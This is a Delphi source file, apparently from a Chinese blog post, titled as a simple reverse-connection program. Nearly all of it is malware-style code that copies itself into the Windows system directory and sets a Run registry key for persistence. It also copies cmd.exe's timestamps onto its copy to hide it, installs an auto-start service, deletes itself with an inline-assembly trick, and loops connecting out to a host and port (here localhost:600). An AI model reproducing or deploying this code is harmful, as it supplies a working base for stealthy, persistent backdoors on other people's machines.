一个简单的反射连接程序（修改文件时间，以及创建Windows服务）

program SvrDemo;

uses
  Windows,
  WinSvc,
  winsock;

const
  RegName = 'SvrDemo';

var
  szServiceName: pchar = 'SvrDemo';
  szFileName:pchar;
  ServiceTable: array [0..1] of TServiceTableEntry;
  Status: SERVICE_STATUS;
  StatusHandle: SERVICE_STATUS_HANDLE;
  Stopped: boolean;
  Paused: boolean;
  cmd :array[0..MAX_PATH] of char;

//获取系统目录
function GetDirectory(dInt: Integer): string;
var
  s: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径
    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径
    2: GetTempPath(256,@s);           //Temp文件夾所存在的路径
  end;
  if dInt=2 then
    result :=string(s)
  else
    result := string(s) + '\';
end;

//设置文件时间
procedure setTime(srcFile,destFile:PChar);
var
  hFileOld,hFileNew :THandle;
  CreationTime, LastAccessTime, LastWriteTime :PFileTime;
begin
  hFileOld :=createFile(srcFile,generic_read,file_share_read,nil,
                        open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
  if (hFileOld=INVALID_HANDLE_VALUE) then exit;
  hFileNew :=createFile(destFile,generic_write,file_share_write,nil,
                        open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
  if (hFileNew=INVALID_HANDLE_VALUE) then exit;
  GetMem(CreationTime,SizeOf(TFileTime));
  GetMem(LastAccessTime,SizeOf(TFileTime));
  GetMem(LastWriteTime,SizeOf(TFileTime));
  GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);
  SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);
  FreeMem(CreationTime);
  FreeMem(LastAccesstime);
  FreeMem(LastWriteTime);
  CloseHandle(hFileNew);
  CloseHandle(hFileOld);
end;

function LookupName(const Name: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PAnsiChar(Name));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
  begin
     with InAddr, HostEnt^ do
     begin
       S_un_b.s_b1 := h_addr^[0];
       S_un_b.s_b2 := h_addr^[1];
       S_un_b.s_b3 := h_addr^[2];
       S_un_b.s_b4 := h_addr^[3];
     end;
  end;
  Result := InAddr;
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
  wsadata:twsadata;
  FSocket:integer;
  SockAddrIn:TSockAddrIn;
  err:integer;
begin
  err:=WSAStartup($0101,WSAData);
  FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
  if FSocket=invalid_socket then
  begin
    Result:=False;
    Exit;
  end;
  SockAddrIn.sin_addr:=LookupName(host);
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port :=htons(port);
  err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
  if err=0 then
  begin
    sock:=FSocket;
    Result:=True;
  end else
  begin
    Result:=False;
  end;
end;

procedure Delme;
var
  module : HMODULE;
  buf : array[0..MAX_PATH - 1] of char;
  p : ULONG;
  hKrnl32 : HMODULE;
  pExitProcess, pDeleteFile, pFreeLibrary: pointer;
begin
  module := GetModuleHandle(nil);
  GetModuleFileName(module, buf, sizeof(buf));
  CloseHandle(THandle(4));
  p := ULONG(module) + 1;
  hKrnl32 := GetModuleHandle('kernel32');
  pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
  pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
  pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
  asm
  lea eax, buf
  push 0
  push 0
  push eax
  push pExitProcess
  push p
  push pDeleteFile
  push pFreeLibrary
  ret
  end;
end;

function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
  result := false;
  RegCreateKey(key,PChar(subkey),regkey);
  if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
    result := true;
  RegCloseKey(regkey);
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
begin
  RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key);
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;

function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
  SCManager,Service: THandle;
  Args: pchar;
begin
  Result := False;
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := CreateService(SCManager,  //句柄
                             PChar(ServiceName), //服务名称
                             PChar(DisplayName), //显示服务名
                             SERVICE_ALL_ACCESS, //服务访问类型
                             SERVICE_WIN32_OWN_PROCESS, //服务类型  or SERVICE_INTERACTIVE_PROCESS
                             SERVICE_AUTO_START, //自动启动服务
                             SERVICE_ERROR_IGNORE, //忽略错误
                             PChar(FileName),  //启动的文件名
                             nil,  //name of load ordering group (载入组名) 'LocalSystem'
                             nil,  //标签标识符
                             nil,  //相关性数组名
                             nil,  //帐户(当前)
                             nil); //密码(当前)

Args := nil;
    StartService(Service, 0, Args);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
  Result := True;
end;

procedure UninstallService(ServiceName: string);
var
  SCManager,Service: THandle;
  ServiceStatus: SERVICE_STATUS;
begin
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
    ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
    DeleteService(Service);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
  case Control of
    SERVICE_CONTROL_STOP:
    begin
      Stopped := True;
      Status.dwCurrentState  := SERVICE_STOPPED;
    end;
    SERVICE_CONTROL_PAUSE:
    begin
      Paused := True;
      Status.dwcurrentstate := SERVICE_PAUSED;
    end;
    SERVICE_CONTROL_CONTINUE:
    begin
      Paused := False;
      Status.dwCurrentState := SERVICE_RUNNING;
    end;
    SERVICE_CONTROL_INTERROGATE:  ;
    SERVICE_CONTROL_SHUTDOWN: Stopped := True;
  end;
  SetServiceStatus(StatusHandle, Status);
end;

procedure ServiceMain;
var
  s:integer;
  //MSG:TMSG;
begin
 { while(GetMessage(Msg,0,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end; }
  repeat
    if not Paused then
    begin
      StartNet('127.0.0.1',600,s);
      Sleep(2000);
    end;
  until Stopped;
  ExitProcess(0);
end;

procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
  StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler);
  if StatusHandle <> 0 then
  begin
    ZeroMemory(@Status, SizeOf(Status));
    Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
    Status.dwCurrentState:= SERVICE_START_PENDING;
    Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
    Status.dwWaitHint := 1000;
    SetServiceStatus(StatusHandle, Status);
    Stopped := False;
    Paused := False;
    Status.dwCurrentState := SERVICE_RUNNING;
    SetServiceStatus(StatusHandle, Status);
    ServiceMain;
  end;
end;

procedure Main;
begin
  szFileName :=pchar(GetDirectory(1) + szServiceName + '.exe');
  if ParamStr(1) = '/u' then
  begin
    UninstallService(szServiceName);
    SetDelValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName);
  end else
  begin
    GetModuleFileName(hInstance,cmd,MAX_PATH);
    ServiceTable[0].lpServiceName := szServiceName;
    ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
    ServiceTable[1].lpServiceName := nil;
    ServiceTable[1].lpServiceProc := nil;
    StartServiceCtrlDispatcher(ServiceTable[0]);
    if CopyFile(cmd,szFileName,false) then
    begin
      SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName,szFileName);
      setTime(PChar(GetDirectory(1) + 'cmd.exe'),szFileName);
      InstallService(szServiceName, szServiceName, szFileName);
      Delme;
    end;
  end;
end;

begin
  Main;
end.

http://blog.csdn.net/diligentcatrich/article/details/24466661